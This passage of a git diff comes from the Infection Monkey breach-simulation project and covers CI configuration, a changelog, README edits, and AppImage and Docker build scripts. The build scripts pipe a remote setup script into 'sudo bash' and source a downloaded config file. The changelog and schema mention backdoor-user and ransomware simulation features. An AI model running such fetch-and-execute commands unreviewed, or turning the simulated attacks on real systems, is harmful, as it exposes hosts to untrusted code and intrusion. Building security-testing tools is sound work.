breaching a new machine. Used in ATT&CK and Zero trust reports.\",", + " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", " \"type\": \"string\",", " \"anyOf\": [", "* {", "+ # Swimmer: Add new PBA here to config!", "* \"type\": \"string\",", - "* \"enum\": [", - "* \"BackdoorUser\"", - "* ],", + "* \"enum\": [\"BackdoorUser\"],", "* \"title\": \"Back door user\",", "* \"safe\": True,", "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", - "* \"attack_techniques\": [\"T1136\"]", + "* \"attack_techniques\": [\"T1136\"],", "* },", " {", " \"type\": \"string\",", - " \"enum\": [" + " \"enum\": [\"CommunicateAsNewUser\"]," ] }, { @@ -108,14 +108,15 @@ "text": "Take a look at the configuration of the island again - see the \"command to run after breach\" option we offer the user? It's implemented exactly like you did right now but each user can do it for themselves. \n\nHowever, what if the PBA needs to do stuff which is more complex than just running a few commands? In that case... " } ], - "file_version": "2.0.0", + "symbols": {}, + "file_version": "2.0.1", "meta": { - "app_version": "0.3.7-0", + "app_version": "0.4.4-0", "file_blobs": { "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", - "monkey/infection_monkey/post_breach/actions/add_user.py": "a85845840d9cb37529ad367e159cd9001929e759", - "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "d9d86e08ea4aeb0a6bee3f483e4fea50ee6cd200", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "857e80da477ab31dbc00ed0a3f1cd49b69b505fa" + "monkey/infection_monkey/post_breach/actions/add_user.py": "26b048a492fcb6d319fc0c01d2f4a0bd302ecbc8", + "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c" } } -} \ No newline at end of file +} diff --git a/.travis.yml b/.travis.yml index 8ac8db204..7085077dc 100644 --- a/.travis.yml +++ b/.travis.yml @@ -6,69 +6,62 @@ group: travis_latest language: python +env: + - PIP_CACHE_DIR=$HOME/.cache/pip PIPENV_CACHE_DIR=$HOME/.cache/pipenv + cache: - pip - directories: - "$HOME/.npm" + - $PIP_CACHE_DIR + - $PIPENV_CACHE_DIR python: - 3.7 os: linux -before_install: -# Init server_config.json to default -- cp monkey/monkey_island/cc/server_config.json.default monkey/monkey_island/cc/server_config.json install: # Python -- pip freeze -- pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install flake8 pytest pytest-cov dlint isort # for next stages -- pip install coverage # for code coverage -- pip install -r monkey/infection_monkey/requirements.txt # for unit tests -- pip install pipdeptree -# Fail builds on possible conflicting dependencies. -- pipdeptree --warn fail +- pip install pipenv +# Install island and monkey requirements as they are needed by UT's +- pushd monkey/monkey_island +- pipenv sync --dev # This installs dependencies from lock +- popd +- pushd monkey/infection_monkey +- pipenv sync --dev # This installs dependencies from lock +- popd # node + npm + eslint - node --version - npm --version - nvm --version -- nvm install node +- nvm install 12 - nvm use node - npm i -g eslint - node --version - npm --version -# linuxbrew (for hugo) -- git clone https://github.com/Homebrew/brew ~/.linuxbrew/Homebrew -- mkdir ~/.linuxbrew/bin -- ln -s ~/.linuxbrew/Homebrew/bin/brew ~/.linuxbrew/bin -- eval $(~/.linuxbrew/bin/brew shellenv) - # hugo (for documentation) -- brew install hugo +- curl -L https://github.com/gohugoio/hugo/releases/download/v0.85.0/hugo_0.85.0_Linux-64bit.tar.gz --output hugo.tar.gz # print hugo version (useful for debugging documentation build errors) -- hugo version +- tar -zxf hugo.tar.gz +- ./hugo version script: # Check Python code ## Check syntax errors and fail the build if any are found. -- flake8 ./monkey --config=./ci_scripts/flake8_syntax_check.ini - -## Warn about linter issues. -### --exit-zero forces Flake8 to use the exit status code 0 even if there are errors, which means this will NOT fail the build. -### The output is redirected to a file. -- flake8 ./monkey --exit-zero --config=./ci_scripts/flake8_linter_check.ini > ./ci_scripts/flake8_warnings.txt -## Display the linter issues -- cat ./ci_scripts/flake8_warnings.txt -## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80 -- if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi +- flake8 . ## Check import order -- python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg +- python -m isort ./monkey --check-only + +## Check that all python is properly formatted. Fail otherwise. +- python -m black --check . + +## Check that there is no dead python code +- python -m vulture . ## Run unit tests and generate coverage data - cd monkey # This is our source dir @@ -78,12 +71,18 @@ script: - cd monkey_island/cc/ui - npm ci # See https://docs.npmjs.com/cli/ci.html - eslint ./src --quiet # Test for errors -- JS_WARNINGS_AMOUNT_UPPER_LIMIT=7 +- JS_WARNINGS_AMOUNT_UPPER_LIMIT=0 - eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings # Build documentation - cd $TRAVIS_BUILD_DIR/docs -- hugo --verbose --environment staging +- ../hugo --verbose --environment staging + +# verify swimm +- cd $TRAVIS_BUILD_DIR +- curl -L https://github.com/swimmio/SwimmReleases/releases/download/v0.5.0-0/swimm-cli.js --output swimm_cli +- node swimm_cli --version +- node swimm_cli verify after_success: # Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 000000000..d9888aa47 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,71 @@ +# Changelog +All notable changes to this project will be documented in this +file. + +The format is based on [Keep a +Changelog](https://keepachangelog.com/en/1.0.0/). + +## [1.11.0] - 2021-08-13 +### Added +- A runtime-configurable option to specify a data directory where runtime + configuration and other artifacts can be stored. #994 +- Scripts to build an AppImage for Monkey Island. #1069, #1090, #1136, #1381 +- `log_level` option to server config. #1151 +- A ransomware simulation payload. #1238 +- The capability for a user to specify their own SSL certificate. #1208 +- API endpoint for ransomware report. #1297 +- A ransomware report. #1240 +- A script to build a docker image locally. #1140 + +### Changed +- Select server_config.json at runtime. #963 +- Select Logger configuration at runtime. #971 +- Select `mongo_key.bin` file location at runtime. #994 +- Store Monkey agents in the configurable data_dir when monkey is "run from the + island". #997 +- Reformat all code using black. #1070 +- Sort all imports using isort. #1081 +- Address all flake8 issues. #1071 +- Use pipenv for python dependency management. #1091 +- Move unit tests to a dedicated `tests/` directory to improve pytest collection + time. #1102 +- Skip BB performance tests by default. Run them if `--run-performance-tests` + flag is specified. +- Write Zerologon exploiter's runtime artifacts to a secure temporary directory + instead of $HOME. #1143 +- Put environment config options in `server_config.json` into a separate + section named "environment". #1161 +- Automatically register if BlackBox tests are run on a fresh installation. + #1180 +- Limit the ports used for scanning in blackbox tests. #1368 +- Limit the propagation depth of most blackbox tests. #1400 +- Wait less time for monkeys to die when running BlackBox tests. #1400 +- Improve the structure of unit tests by scoping fixtures only to relevant + modules instead of having a one huge fixture file. #1178 +- Improve and rename the directory structure of unit tests and unit test + infrastructure. #1178 +- Launch MongoDB when the Island starts via python. #1148 +- Create/check data directory on Island initialization. #1170 +- Format some log messages to make them more readable. #1283 +- Improve runtime of some unit tests. #1125 +- Run curl OR wget (not both) when attempting to communicate as a new user on + Linux. #1407 + +### Removed +- Relevant dead code as reported by Vulture. #1149 +- Island logger config and --logger-config CLI option. #1151 + +### Fixed +- Attempt to delete a directory when monkey config reset was called. #1054 +- An errant space in the windows commands to run monkey manually. #1153 +- Gevent tracebacks in console output. #859 +- Crash and failure to run PBAs if max depth reached. #1374 + +### Security +- Address minor issues discovered by Dlint. #1075 +- Hash passwords on server-side instead of client side. #1139 +- Generate random passwords when creating a new user (create user PBA, ms08_67 + exploit). #1174 +- Implemented configuration encryption/decryption. #1189, #1204 +- Create local custom PBA directory with secure permissions. #1270 +- Create encryption key file for MongoDB with secure permissions. #1232 diff --git a/README.md b/README.md index 63d4bd37d..294be6579 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ ## Data center Security Testing Tool -Welcome to the Infection Monkey! +Welcome to the Infection Monkey! The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server. @@ -18,7 +18,7 @@ The Infection Monkey is comprised of two parts: * **Monkey** - A tool which infects other machines and propagates to them. * **Monkey Island** - A dedicated server to control and visualize the Infection Monkey's progress inside the data center. -To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). +To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com). ## Screenshots @@ -59,28 +59,28 @@ Check out the [Setup](https://www.guardicore.com/infectionmonkey/docs/setup/) pa The Infection Monkey supports a variety of platforms, documented [in our documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/operating_systems_support/). ## Building the Monkey from source -To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) +To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder or follow documentation in [documentation hub](https://www.guardicore.com/infectionmonkey/docs/development/setup-development-environment/). ### Build status | Branch | Status | | ------ | :----: | | Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) | -| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) | +| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) | ## Tests ### Unit Tests -In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory. +In order to run all of the Unit Tests, run the command `python -m pytest` in the `monkey` directory. -To get a coverage report, first make sure the `coverage` package is installed using `pip install coverage`. Run the command -`coverage run -m unittest` in the `monkey` directory and then `coverage html`. The coverage report can be found in -`htmlcov.index`. +To get a coverage report, first make sure the `coverage` package is installed using `pip install coverage`. Run the command +`coverage run -m unittest` in the `monkey` directory and then `coverage html`. The coverage report can be found in +`htmlcov.index`. ### Blackbox tests -In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`. +In order to run the Blackbox tests, refer to `envs/monkey_zoo/blackbox/README.md`. # License diff --git a/build_scripts/README.md b/build_scripts/README.md new file mode 100644 index 000000000..e08b7ea86 --- /dev/null +++ b/build_scripts/README.md @@ -0,0 +1,46 @@ +# Infection Monkey Linux Package Builder + +## About + +This directory contains the necessary artifacts for building an Infection +Monkey packages for Linux. + +## AppImage + +### Building an AppImage + +1. Create a clean VM or LXC (not docker!) based on Ubuntu 18.04. +1. Copy the `build_scipts/` directory to `$HOME/` in the VM. +1. On the VM, `cd $HOME/build_scripts` +1. Run `sudo -v`. +1. Execute `./build_appimage.sh`. This will pull all necessary dependencies + and build the AppImage. + +NOTE: This script is intended to be run from a clean VM. You can also manually +remove build artifacts by running `appimage/clean.sh` + +### Running the AppImage + +The build script will produce an AppImage executable named +`./dist/Infection_Monkey-x86_64.AppImage`. Simply execute this file and you're off to +the races. + +A new directory, `$HOME/.monkey_island` will be created to store runtime +artifacts. + +## Docker + +### Building a Docker image +1. Create a clean Ubuntu 18.04 VM (not WSL). +1. Copy the `build_scipts/` directory to `$HOME/` in the VM. +1. On the VM, `cd $HOME/build_scripts` +1. Run `sudo -v`. +1. Execute `./build_docker.sh --package docker`. This will pull all necessary dependencies + and build the Docker image. + +NOTE: This script is intended to be run from a clean VM. You can also manually +remove build artifacts by running `docker/clean.sh` + +### Running the Docker Image +The build script will produce a `.tgz` file in `./dist/`. See +`docker/DOCKER_README.md` for instructions on running the docker image. diff --git a/build_scripts/appimage/.gitignore b/build_scripts/appimage/.gitignore new file mode 100644 index 000000000..5a7692e9a --- /dev/null +++ b/build_scripts/appimage/.gitignore @@ -0,0 +1 @@ +*.AppImage diff --git a/build_scripts/appimage/AppRun b/build_scripts/appimage/AppRun new file mode 100755 index 000000000..47f17a778 --- /dev/null +++ b/build_scripts/appimage/AppRun @@ -0,0 +1,29 @@ +#! /bin/bash + +# Export APPRUN if running from an extracted image +self="$(readlink -f -- $0)" +here="${self%/*}" +APPDIR="${APPDIR:-${here}}" + +# Export TCl/Tk +export TCL_LIBRARY="${APPDIR}/usr/share/tcltk/tcl8.4" +export TK_LIBRARY="${APPDIR}/usr/share/tcltk/tk8.4" +export TKPATH="${TK_LIBRARY}" + +# Export SSL certificate +export SSL_CERT_FILE="${APPDIR}/opt/_internal/certs.pem" + +# Call the entry point +for opt in "$@" +do + [ "${opt:0:1}" != "-" ] && break + if [[ "${opt}" =~ "I" ]] || [[ "${opt}" =~ "E" ]]; then + # Environment variables are disabled ($PYTHONHOME). Let's run in a safe + # mode from the raw Python binary inside the AppImage + "$APPDIR/opt/python3.7/bin/python3.7" "$@" + exit "$?" + fi +done + +(PYTHONHOME="${APPDIR}/opt/python3.7" exec "${APPDIR}/opt/python3.7/bin/python3.7" "${APPDIR}/usr/src/monkey_island.py" $@) +exit "$?" diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh new file mode 100755 index 000000000..d55418df7 --- /dev/null +++ b/build_scripts/appimage/appimage.sh @@ -0,0 +1,132 @@ +#!/bin/bash + +LINUXDEPLOY_URL="https://github.com/linuxdeploy/linuxdeploy/releases/download/continuous/linuxdeploy-x86_64.AppImage" +PYTHON_VERSION="3.7.11" +PYTHON_APPIMAGE_URL="https://github.com/niess/python-appimage/releases/download/python3.7/python${PYTHON_VERSION}-cp37-cp37m-manylinux1_x86_64.AppImage" +APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" +APPDIR="$APPIMAGE_DIR/squashfs-root" +BUILD_DIR="$APPDIR/usr/src" + +ICON_PATH="$BUILD_DIR/monkey_island/cc/ui/src/images/monkey-icon.svg" +MONGO_PATH="$BUILD_DIR/monkey_island/bin/mongodb" + +source "$APPIMAGE_DIR/../common.sh" + +install_package_specific_build_prereqs() { + log_message "Installing linuxdeploy" + WORKSPACE_BIN_DIR="$1/bin" + LINUXDEPLOY_BIN="$WORKSPACE_BIN_DIR/linuxdeploy" + + mkdir -p "$WORKSPACE_BIN_DIR" + curl -L -o "$LINUXDEPLOY_BIN" "$LINUXDEPLOY_URL" + chmod u+x "$LINUXDEPLOY_BIN" + + PATH=$PATH:$WORKSPACE_BIN_DIR +} + +setup_build_dir() { + local agent_binary_dir=$1 + local monkey_repo=$2 + + pushd $APPIMAGE_DIR + + setup_python_37_appdir + + mkdir -p "$BUILD_DIR" + + copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$BUILD_DIR" + copy_server_config_to_build_dir + add_agent_binaries_to_build_dir "$agent_binary_dir" "$BUILD_DIR" + + install_monkey_island_python_dependencies + install_mongodb + + generate_ssl_cert "$BUILD_DIR" + build_frontend "$BUILD_DIR" + + remove_python_appdir_artifacts + + popd +} + +setup_python_37_appdir() { + PYTHON_APPIMAGE="python${PYTHON_VERSION}_x86_64.AppImage" + + log_message "downloading Python3.7 Appimage" + curl -L -o "$PYTHON_APPIMAGE" "$PYTHON_APPIMAGE_URL" + + chmod u+x "$PYTHON_APPIMAGE" + + "./$PYTHON_APPIMAGE" --appimage-extract + rm "$PYTHON_APPIMAGE" +} + +copy_server_config_to_build_dir() { + cp "$APPIMAGE_DIR"/server_config.json.standard "$BUILD_DIR"/monkey_island/cc/server_config.json +} + +install_monkey_island_python_dependencies() { + log_message "Installing island requirements" + + log_message "Installing pipenv" + "$APPDIR"/AppRun -m pip install pipenv || handle_error + + requirements_island="$BUILD_DIR/monkey_island/requirements.txt" + generate_requirements_from_pipenv_lock "$requirements_island" + + log_message "Installing island python requirements" + "$APPDIR"/AppRun -m pip install -r "${requirements_island}" --ignore-installed || handle_error +} + +generate_requirements_from_pipenv_lock () { + local requirements_island=$1 + + log_message "Generating a requirements.txt file with 'pipenv lock -r'" + pushd "$BUILD_DIR/monkey_island" + "$APPDIR"/AppRun -m pipenv --python "$APPDIR/AppRun" lock -r > "$requirements_island" || handle_error + popd +} + + +install_mongodb() { + log_message "Installing MongoDB" + + mkdir -p "$MONGO_PATH" + "$BUILD_DIR/monkey_island/linux/install_mongo.sh" "${MONGO_PATH}" || handle_error +} + +remove_python_appdir_artifacts() { + rm "$APPDIR"/python.png + rm "$APPDIR"/python*.desktop + rm "$APPDIR"/AppRun +} + +build_package() { + local version=$1 + local dist_dir=$2 + + log_message "Building AppImage" + pushd "$APPIMAGE_DIR" + + ARCH="x86_64" linuxdeploy \ + --appdir "$APPIMAGE_DIR/squashfs-root" \ + --icon-file "$ICON_PATH" \ + --desktop-file "$APPIMAGE_DIR/infection-monkey.desktop" \ + --custom-apprun "$APPIMAGE_DIR/AppRun" \ + --deploy-deps-only="$MONGO_PATH/bin/mongod"\ + --output appimage + + apply_version_to_appimage "$version" + move_package_to_dist_dir $dist_dir + + popd +} + +apply_version_to_appimage() { + log_message "Renaming Infection_Monkey-x86_64.AppImage -> Infection_Monkey-$1-x86_64.AppImage" + mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" +} + +move_package_to_dist_dir() { + mv Infection_Monkey*.AppImage "$1/" +} diff --git a/build_scripts/appimage/clean.sh b/build_scripts/appimage/clean.sh new file mode 100755 index 000000000..6ce76cd32 --- /dev/null +++ b/build_scripts/appimage/clean.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +# This is a utility script to clean up after a failed or successful AppImage build +# in order to speed up development and debugging. + +APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" + +rm -rf "$HOME/git/monkey" +rm -rf "$HOME/.monkey_island" +rm -rf "$APPIMAGE_DIR/squashfs-root" +rm "$APPIMAGE_DIR"/Infection_Monkey*x86_64.AppImage +rm "$APPIMAGE_DIR/../dist/Infection_Monkey*x86_64.AppImage" diff --git a/build_scripts/appimage/infection-monkey.desktop b/build_scripts/appimage/infection-monkey.desktop new file mode 100644 index 000000000..dcefbb51a --- /dev/null +++ b/build_scripts/appimage/infection-monkey.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Type=Application +Name=Infection Monkey +Exec=bash +Comment=An automated breach and attack simulation platform +Icon=monkey-icon +Categories=Development; +Terminal=true diff --git a/build_scripts/appimage/server_config.json.standard b/build_scripts/appimage/server_config.json.standard new file mode 100644 index 000000000..af975a9e0 --- /dev/null +++ b/build_scripts/appimage/server_config.json.standard @@ -0,0 +1,11 @@ +{ + "data_dir": "~/.monkey_island", + "log_level": "DEBUG", + "environment": { + "server_config": "password", + "deployment": "standard" + }, + "mongodb": { + "start_mongodb": true + } +} diff --git a/build_scripts/build_appimage.sh b/build_scripts/build_appimage.sh new file mode 100755 index 000000000..5744336e9 --- /dev/null +++ b/build_scripts/build_appimage.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +./build_package.sh --package appimage $@ diff --git a/build_scripts/build_docker.sh b/build_scripts/build_docker.sh new file mode 100755 index 000000000..585f51278 --- /dev/null +++ b/build_scripts/build_docker.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +./build_package.sh --package docker $@ diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh new file mode 100755 index 000000000..ac4f033af --- /dev/null +++ b/build_scripts/build_package.sh @@ -0,0 +1,204 @@ +WORKSPACE=${WORKSPACE:-$HOME} +DEFAULT_REPO_MONKEY_HOME=$WORKSPACE/git/monkey +MONKEY_ORIGIN_URL="https://github.com/guardicore/monkey.git" +NODE_SRC=https://deb.nodesource.com/setup_12.x +BUILD_SCRIPTS_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" +DIST_DIR="$BUILD_SCRIPTS_DIR/dist" + +log_message() { + echo -e "\n\n" + echo -e "MONKEY ISLAND BUILDER: $1" +} + +exit_if_missing_argument() { + if [ -z "$2" ] || [ "${2:0:1}" == "-" ]; then + echo "Error: Argument for $1 is missing" >&2 + exit 1 + fi +} + +echo_help() { + echo "usage: build_package.sh [--help] [--agent-binary-dir ] [--branch ]" + echo " [--monkey-repo ] [--version ]" + echo "" + echo "Creates a package for Infection Monkey." + echo "" + echo "--agent-binary-dir A directory containing the agent binaries that" + echo " you'd like to include with the package. If this" + echo " parameter is unspecified, the latest release" + echo " binaries will be downloaded from GitHub." + echo "" + echo "--as-root Throw caution to the wind and allow this script" + echo " to be run as root." + echo "" + echo "--branch The git branch you'd like the package to be" + echo " built from. (Default: develop)" + echo "" + echo "--monkey-repo A directory containing the Infection Monkey git" + echo " repository. If the directory is empty or does" + echo " not exist, a new repo will be cloned from GitHub." + echo " If the directory is already a valid GitHub repo," + echo " it will be used as-is and the --branch parameter" + echo " will have no effect." + echo " (Default: $DEFAULT_REPO_MONKEY_HOME)" + echo "" + echo "--version A version number for the package." + echo " (Default: dev)" + echo "" + echo "--package Which package to build (\"appimage\" or \"docker.\")" + + exit 0 +} + +is_root() { + return "$(id -u)" +} + +has_sudo() { + # 0 true, 1 false + sudo -nv > /dev/null 2>&1 + return $? +} + +handle_error() { + echo "Fix the errors above and rerun the script" + exit 1 +} + +install_nodejs() { + log_message "Installing nodejs" + + curl -sL $NODE_SRC | sudo -E bash - + sudo apt-get install -y nodejs +} + +install_common_build_prereqs() { + sudo apt-get update + sudo apt-get upgrade -y + + # monkey island prereqs + sudo apt-get install -y curl libcurl4 openssl git build-essential moreutils + install_nodejs +} + +is_valid_git_repo() { + pushd "$1" 2>/dev/null || return 1 + git status >/dev/null 2>&1 + success="$?" + popd || exit 1 + + return $success +} + +clone_monkey_repo() { + local repo_dir=$1 + local branch=$2 + + if [[ ! -d "$repo_dir" ]]; then + mkdir -p "$repo_dir" + fi + + log_message "Cloning files from git" + git clone -c core.autocrlf=false --single-branch --recurse-submodules -b "$branch" "$MONKEY_ORIGIN_URL" "$repo_dir" 2>&1 || handle_error +} + +install_build_prereqs() { + sudo apt-get update + sudo apt-get upgrade -y + + # monkey island prereqs + sudo apt-get install -y curl libcurl4 openssl git build-essential moreutils + install_nodejs +} + +agent_binary_dir="" +as_root=false +branch="develop" +monkey_repo="$DEFAULT_REPO_MONKEY_HOME" +monkey_version="dev" +package="" + + +while (( "$#" )); do + case "$1" in + --agent-binary-dir) + exit_if_missing_argument "$1" "$2" + + agent_binary_dir=$2 + shift 2 + ;; + --as-root) + as_root=true + shift + ;; + --branch) + exit_if_missing_argument "$1" "$2" + + branch=$2 + shift 2 + ;; + -h|--help) + echo_help + ;; + --monkey-repo) + exit_if_missing_argument "$1" "$2" + + monkey_repo=$2 + shift 2 + ;; + --version) + exit_if_missing_argument "$1" "$2" + + monkey_version=$2 + shift 2 + ;; + --package) + exit_if_missing_argument "$1" "$2" + + package=$2 + shift 2 + ;; + *) + echo "Error: Unsupported parameter $1" >&2 + exit 1 + ;; + esac +done + +if ! [[ $package =~ ^(appimage|docker)$ ]]; then + log_message "Invalid package: $package." + exit 1 +fi + +if ! $as_root && is_root; then + log_message "Please don't run this script as root" + exit 1 +fi + +if ! has_sudo; then + log_message "You need root permissions for some of this script operations. \ +Run \`sudo -v\`, enter your password, and then re-run this script." + exit 1 +fi + +log_message "Building Monkey Island: $package" + +source "./$package/$package.sh" + +if ! is_valid_git_repo "$monkey_repo"; then + clone_monkey_repo "$monkey_repo" "$branch" +fi + +if [ ! -d "$DIST_DIR" ]; then + mkdir "$DIST_DIR" +fi + +install_build_prereqs +install_package_specific_build_prereqs "$WORKSPACE" + + +setup_build_dir "$agent_binary_dir" "$monkey_repo" +build_package "$monkey_version" "$DIST_DIR" + +log_message "Finished building package: $package" +exit 0 diff --git a/build_scripts/common.sh b/build_scripts/common.sh new file mode 100644 index 000000000..85f794128 --- /dev/null +++ b/build_scripts/common.sh @@ -0,0 +1,88 @@ +CONFIG_URL="https://raw.githubusercontent.com/guardicore/monkey/develop/deployment_scripts/config" + +copy_monkey_island_to_build_dir() { + local src=$1 + local build_dir=$2 + + cp "$src"/__init__.py "$build_dir" + cp "$src"/monkey_island.py "$build_dir" + cp -r "$src"/common "$build_dir/" + + rsync \ + -ar \ + --exclude=monkey_island/cc/ui/node_modules \ + --exclude=monkey_island/cc/ui/.npm \ + "$src"/monkey_island "$build_dir/" +} + +add_agent_binaries_to_build_dir() { + local agent_binary_dir=$1 + local island_binaries_path="$2/monkey_island/cc/binaries/" + + if [ -z "$agent_binary_dir" ]; then + download_monkey_agent_binaries $island_binaries_path + else + copy_agent_binaries_to_build_dir "$agent_binary_dir" "$island_binaries_path" + fi + + make_linux_binaries_executable "$island_binaries_path" +} + +download_monkey_agent_binaries() { + local island_binaries_path=$1 + log_message "Downloading monkey agent binaries to ${island_binaries_path}" + + load_monkey_binary_config + + mkdir -p "${island_binaries_path}" || handle_error + curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}" + curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}" + curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}" + curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}" +} + +load_monkey_binary_config() { + tmpfile=$(mktemp) + + log_message "Downloading prebuilt binary configuration" + curl -L -s -o "$tmpfile" "$CONFIG_URL" + + log_message "Loading configuration" + source "$tmpfile" +} + +copy_agent_binaries_to_build_dir() { + cp "$1"/* "$2/" +} + +make_linux_binaries_executable() { + chmod a+x "$1"/monkey-linux-* +} + +generate_ssl_cert() { + local island_path="$1/monkey_island" + log_message "Generating certificate" + + chmod u+x "$island_path"/linux/create_certificate.sh + "$island_path"/linux/create_certificate.sh "$island_path"/cc +} + +build_frontend() { + local ui_dir="$1/monkey_island/cc/ui" + pushd "$ui_dir" || handle_error + + log_message "Generating front end" + npm ci + npm run dist + + popd || handle_error + + remove_node_modules "$ui_dir" +} + +remove_node_modules() { + # Node has served its purpose. We don't need to deliver the node modules with + # the package. + rm -rf "$1/node_modules" + rm -rf "$1/.npm" +} diff --git a/build_scripts/docker/.gitignore b/build_scripts/docker/.gitignore new file mode 100644 index 000000000..2edc32417 --- /dev/null +++ b/build_scripts/docker/.gitignore @@ -0,0 +1,3 @@ +dk.monkeyisland*.tar +infection_monkey_docker_*.tgz +tgz/ diff --git a/build_scripts/docker/DOCKER_README.md b/build_scripts/docker/DOCKER_README.md new file mode 100644 index 000000000..e2b1f97d0 --- /dev/null +++ b/build_scripts/docker/DOCKER_README.md @@ -0,0 +1,21 @@ +# Infection Monkey + +How to run Monkey Island from the docker file: + +Note: Ports 5000 and 5001 must be available for the island to work. + +## Setup + +Run the following commands: + +```sh +sudo docker load -i dk.monkeyisland.MONKEY_VER_PLACEHOLDER.tar +sudo docker pull mongo:4.2 +sudo mkdir -p /var/monkey-mongo/data/db +sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2 +sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:MONKEY_VER_PLACEHOLDER +``` + +## Start Infecting + +Open `https://:5000` using Google Chrome and follow the instructions. You can also visit [the Infection Monkey website](https://infectionmonkey.com) and read the in-depth Getting Started guides. diff --git a/build_scripts/docker/Dockerfile b/build_scripts/docker/Dockerfile new file mode 100644 index 000000000..2637d3725 --- /dev/null +++ b/build_scripts/docker/Dockerfile @@ -0,0 +1,27 @@ +# Install python dependencies using the bitnami/python:3.7 image, which includes +# development dependencies. +FROM bitnami/python:3.7 as builder +COPY ./monkey /monkey +WORKDIR /monkey +RUN virtualenv . +RUN . bin/activate && \ + cd monkey_island && \ + pip install pipenv && \ + pipenv sync + + +# Build the final application using the bitnami/python:3.7-prod image, which +# does not include development dependencies. +FROM bitnami/python:3.7-prod +RUN apt-get update && apt-get install -y iputils-ping && apt-get clean +COPY --from=builder /monkey /monkey +WORKDIR /monkey +EXPOSE 5000 +EXPOSE 5001 +RUN groupadd -r monkey-island && useradd --no-log-init -r -g monkey-island monkey-island +RUN chmod 444 /monkey/monkey_island/cc/server.key +RUN chmod 444 /monkey/monkey_island/cc/server.csr +RUN chmod 444 /monkey/monkey_island/cc/server.crt +RUN mkdir /monkey_island_data && chmod 700 /monkey_island_data && chown -R monkey-island:monkey-island /monkey_island_data +USER monkey-island +ENTRYPOINT ["/monkey/entrypoint.sh"] diff --git a/build_scripts/docker/clean.sh b/build_scripts/docker/clean.sh new file mode 100755 index 000000000..7a5c5a677 --- /dev/null +++ b/build_scripts/docker/clean.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# This is a utility script to clean up after a failed or successful Docker +# image build in order to speed up development and debugging + +DOCKER_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" + + +rm -rf "$HOME/git/monkey" +rm -rf "$DOCKER_DIR/monkey" +rm -rf "$DOCKER_DIR/tgz" +rm "$DOCKER_DIR"/dk.monkeyisland.*.tar +rm "$DOCKER_DIR"/infection_monkey_docker*.tgz +rm "$DOCKER_DIR"/../dist/infection_monkey_docker*.tgz diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh new file mode 100755 index 000000000..bf7e78cee --- /dev/null +++ b/build_scripts/docker/docker.sh @@ -0,0 +1,67 @@ +DOCKER_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" +OUTPUT_NAME_TGZ="$DOCKER_DIR/infection_monkey_docker_$(date +%Y%m%d_%H%M%S).tgz" + +source "$DOCKER_DIR/../common.sh" + +install_package_specific_build_prereqs() { + sudo apt-get install -y docker.io +} + +setup_build_dir() { + local agent_binary_dir=$1 + local monkey_repo=$2 + local build_dir=$DOCKER_DIR/monkey + + mkdir "$build_dir" + + copy_entrypoint_to_build_dir "$build_dir" + + copy_monkey_island_to_build_dir 